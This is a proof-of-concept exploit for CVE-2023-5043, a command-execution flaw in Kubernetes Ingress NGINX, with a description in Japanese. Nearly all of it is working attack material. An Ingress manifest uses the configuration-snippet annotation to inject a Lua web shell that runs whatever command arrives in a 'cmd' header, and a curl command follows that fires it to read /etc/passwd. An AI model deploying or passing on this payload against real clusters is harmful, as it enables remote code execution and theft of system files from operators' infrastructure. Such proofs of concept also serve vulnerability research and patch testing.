
CVE-2023-5043の概念実証エクスプロイト。KubernetesのIngress NGINXアノテーションインジェクションを介した任意のコマンド実行を実証し、curlベースのRCEトリガーを備えています。
Ingress nginx アノテーションインジェクションにより任意のコマンド実行が発生
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-exploit
annotations:
kubernetes.io/ingress.class: "nginx"
nginx.ingress.kubernetes.io/configuration-snippet: |
more_set_headers "robinak"
proxy_pass http://upstream_balancer;
proxy_redirect off;
}
location /robinak/ { content_by_lua_block { local rsfile = io.popen(ngx.req.get_headers()["cmd"]);local rschar = rsfile:read("*all");ngx.say(rschar); } } location /fs/{
spec:
rules:
- host: robinak.me
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: exploit
port:
number: 80
curl -v -H 'Host: robinak.me' -H "cmd: cat /etc/passwd" http://IP/robinak/
